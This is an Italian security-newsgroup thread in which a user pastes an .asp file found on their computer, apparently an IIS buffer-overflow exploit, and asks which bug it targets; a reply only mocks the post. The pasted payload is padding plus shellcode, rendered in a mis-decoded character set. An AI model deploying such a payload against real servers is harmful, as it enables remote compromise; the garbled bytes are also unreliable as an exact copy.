Newsgroup: it.comp.sicurezza.windows
Titolo: buffer overflow

Ciao a tutti.. 
ho trovato nel mio computer questo script .asp
appurato che è un buffer overflow sapete indicarmi il bug di iis che lo usa ?
se non sbaglio esiste un .exe di eeye che con un buffer overflow permette l'upload e l'esecuzione  di un file sul server, ma se non sbaglio dovrebbe essere patchato con il service pack 6a (questo è attualmente montato sulla mia macchina), giusto ?
grazie per l'aiuto
vi riporto il contenuto dello script:
<SCRIPT LANGUAGE="گگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگ!
گگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگ!
گگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگگً×¼wP]‹إƒہ 3ةf¹9 €0…@âْm…………ع i i=ژ……آ ؛zً  Bپ p¶L<‡……… ‚ƒ Cپ Bپgq Bپ ؛…ٌ´ ‚صzذپ }…ٌ³ U<•¢……¶Ew+ ؛…ٌ–×ز×zذ…ك }…ٌںƒ CپnaآnO¶Ew+ ؛…ٌ‚» Cپnuآ» Cچ¶Eصإصإصzذء ï•zًةضzذ±ï‡ضzذ½¶Eزص5‰.ف.إ.عحصزس(سzذ‰حصز(س(سzذ‰ح5ء‚زzذ‌¶E ہرآ¹آإ ہهآ½=„„……آ©زز¶Eصصصإصحصصzًحصzذ•حصصضzذµ ]¶E1پصDmپصzذ™ u ¶E M0پصصزشصzًفzذ¥ ؛„ù§¶Eصزz²سzًفzذ،ژEٌھ¶Eصz²سضzذإïصzذ­nB¶Eص1پصسضzذ¹ز¶Lشصسzًظzذ©ïصzذ­n,صzذ‘Fzzzz6؛tٍ8²tٍ…………îà÷ëàé¶·«لéé…ئéêِàحنëلéà…ئ÷àنٌàصىُà…ئ÷àنٌàص÷êوàِِؤ…ہ‎ىٌص÷êوàِِ…آàٌضٌن÷ًٌُجëمêؤ…آéêçنéؤééêو…صààîثنèàلصىُà…×àنلأىéà…ضéààُ…ز÷ىٌàأىéà……ٍِ·ع¶·«لéé…نووàٌُ…çىëل…éىٌِàë…÷àوَ…ِàëل…ِêوîàٌ………وèل«à‎à……‡…‍¼………………………………" RUNAT="Server"> </SCRIPT>
___________________________________________________
Se vuoi un indirizzo di posta elettronica gratuito, 
iscriviti a 
http://www.katamail.com
-- 
Posted from 
c000-h004.c000.muc.cp.net
 [209.228.29.28] 
via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 vi riporto il contenuto dello script:
Oh si, dato che non ero ancora andato in bagno trovarmi un po' di cacca
sullo schermo sicuramente aiutera' le mie funzioni instestinali..
Grazie per questa esplicativa carrettata di fuffa inutile.
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *